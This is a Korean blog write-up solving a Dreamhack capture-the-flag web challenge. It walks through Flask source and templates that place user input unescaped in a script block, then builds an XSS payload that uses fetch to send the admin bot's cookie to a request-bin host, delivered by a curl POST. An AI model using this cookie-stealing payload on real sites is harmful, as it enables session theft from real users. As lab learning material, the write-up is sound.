일단 사이트에 들어가보자.
딱히 단서될 만한 건 없는 모양이다.
서버 코드를 살펴보자.
Code
from flask import Flask, redirect, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import urandom, environ
from urllib.parse import quote
app = Flask(__name__)
app.secretkey = urandom(32)
FLAG = environ.get("FLAG", "DH{fake_flag}")
PASSWORD = environ.get("PASSWORD", "1234")
def access_page(text, cookie={"name": "name", "value": "value"}):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)
except Exception as e:
print(e, flush=True)
driver.quit()
return False
driver.quit()
return True
@app.route("/", methods=["GET"])
def index():
return redirect("/test")
@app.route("/test", methods=["GET"])
def intro():
text = request.args.get("text")
return render_template("test.html", test=text)
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
text = request.form.get("text")
if not text:
return render_template("report.html", msg="fail")
else:
if access_page(text, cookie={"name": "flag", "value": FLAG}):
return render_template("report.html", message="Success")
else:
return render_template("report.html", message="fail")
else:
return render_template("report.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
플라스크로 만들어진 웹 페이지다.
코드를 천천히 살펴보면, /test 페이지 말고도 /report 페이지가 존재하는 것을 확인할 수 있다.
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
text = request.form.get("text")
if not text:
return render_template("report.html", msg="fail")
else:
if access_page(text, cookie={"name": "flag", "value": FLAG}):
return render_template("report.html", message="Success")
else:
return render_template("report.html", message="fail")
else:
return render_template("report.html")
post 메소드로 url의 쿼리변수 text 값을 받고 있다.
즉, http://host1.dreamhack.games:9499/test?text=<user_input> 이런 런 형식으로 된 post 요청이 들어오면 text 변수에 user_input 값을 넣고 access_page 함수의 매개변수에 text 변수를 넣어 봇이 user_input에 입력된 값에 적힌 사이트로 방문하도록 하고 있다.
def access_page(text, cookie={"name": "name", "value": "value"}):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)
except Exception as e:
print(e, flush=True)
driver.quit()
return False
driver.quit()
return True
access_page 함수를 살펴보면 봇은 플래그 값을 포함하는 쿠키를 가지고 있는데, 주어진 text 변수값에 적힌 url 사이트를 쿠키값과 함께 방문하는 것을 확인할 수 있다. 여기서 생각해 볼 것은 임의의 request bin 사이트를 하나 만들고, 봇이 해당 사이트를 방문하도록 해서 쿠키 값을 알아내면 플래그를 탈취할 수 있을 듯 하다.
Exploit
html 템플릿 코드도 확인해보면, 사용자 입력값을 어떠한 검증없이 바로 받아서 변수에 직접 넣고 있는 것을 확인할 수 있다.
report.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Report</title>
<style>
body {
font-family: 'Comic Sans MS', 'Comic Sans', cursive;
background-color: #f9f9f9;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
background-color: #fff;
width: 300px;
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
border: 1px solid #ccc;
position: relative;
}
.container:before {
content: '';
position: absolute;
top: 10px;
bottom: 10px;
left: 10px;
right: 10px;
border: 2px dashed #ccc;
pointer-events: none;
}
.note-header {
font-size: 1.5em;
margin-bottom: 10px;
}
.note-content {
font-size: 1em;
line-height: 1.5;
}
.note-footer {
text-align: right;
font-size: 0.8em;
color: #666;
}
form {
display: flex;
flex-direction: column;
}
input[type="text"], textarea {
padding: 10px;
margin: 10px 0;
width: 100%;
border: 1px solid #ccc;
border-radius: 4px;
}
button {
padding: 10px 20px;
border: none;
border-radius: 4px;
background-color: #007bff;
color: #fff;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
.success {
color: #28a745;
}
.fail {
color: #dc3545;
}
</style>
</head>
<body>
<div class="container">
<div class="note-header">Report</div>
<form action="/report" method="post">
<input type="text" name="text" placeholder="Enter text for admin" required>
<button type="submit">Submit</button>
</form>
<p>Please enter the text to send to the admin.</p>
{% if message %}
<div class="note-content">
{% if success %}
<p class="success">Success</p>
{% else %}
<p class="fail">Fail</p>
{% endif %}
</div>
{% endif %}
<div class="note-footer">Footer Text</div>
</div>
</body>
</html> and the test.html is this. <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'; trusted-types 16007a93f75cde3710032976adfbcbab;">
<title>Input Test</title>
<style>
body {
font-family: 'Comic Sans MS', 'Comic Sans', cursive;
background-color: #f9f9f9;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
background-color: #fff;
width: 300px;
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
border: 1px solid #ccc;
position: relative;
}
.container:before {
content: '';
position: absolute;
top: 10px;
bottom: 10px;
left: 10px;
right: 10px;
border: 2px dashed #ccc;
pointer-events: none;
}
.note-header {
font-size: 1.5em;
margin-bottom: 10px;
}
.note-content {
font-size: 1em;
line-height: 1.5;
}
.note-footer {
text-align: right;
font-size: 0.8em;
color: #666;
}
</style>
</head>
<body>
<div class="container">
<div class="note-header">Note</div>
<div id="content" class="note-content">Hi everyone!</div>
<div class="note-footer">This is Test</div>
</div>
<script>
const contentElement = document.getElementById('content');
const safeInput = "Test: " + {{test|safe}};
</script>
</body>
</html>
const safeInput = "Test: " + `{{test|safe}}`;
사용자 입력값은 javascript 코드에 직접 반영되며, 제대로 검증 및 이스케이프 처리 없이 해당 코드가 실행된다.
만약 ;로 코드의 흐름을 끊고 다시 새로운 javascript 코드를 넣은 후, 뒤를 //로 주석처리할 경우 내가 넣은 페이로드가 실행될 수 있을듯 하다.
`; fetch('https://ihchfxu.request.dreamhack.games?cookie=' + document.cookie); //
`;로 이전 코드를 마무리한후, 새로운 코드를 삽입할 수 있도록 하였다.
fetch 함수로 내가 만들어놓은 bin 사이트에 브라우저의 쿠키값을 보내고, //로 이후 코드의 실행을 막아놓았다.
위의 페이로드를 url encoding 후, wsl에서 curl로 요청을 날려보자.
curl -X POST \
-d "text=%60%3B%20fetch%28%27https%3A%2F%2Fihchfxu.request.dreamhack.games%3Fcookie%3D%27%20%2B%20document.cookie%29%3B%20//" \
http://host1.dreamhack.games:9499/report
curl로 요청을 날릴 때는 서버로 바로 요청을 보내는 것이기 때문에 url 인코딩 후 요청을 보내야한다.
request bin 사이트로 들어가보면
봇이 해당 사이트를 쿠키와 함께 방문했다는 것을 확인할 수 있다.
플래그 확인
'보안 > Web hacking' 카테고리의 다른 글
[h4ckingga.me] Simple Calculator (0) | 2025.01.09 |
---|---|
[Dreamhack] LiteBoard (0) | 2025.01.04 |
[Dreamhack] insane python (0) | 2024.12.26 |
[Dreamhack] Replace Trick! (0) | 2024.12.23 |
[Dreamhack] Not-only (1) | 2024.12.20 |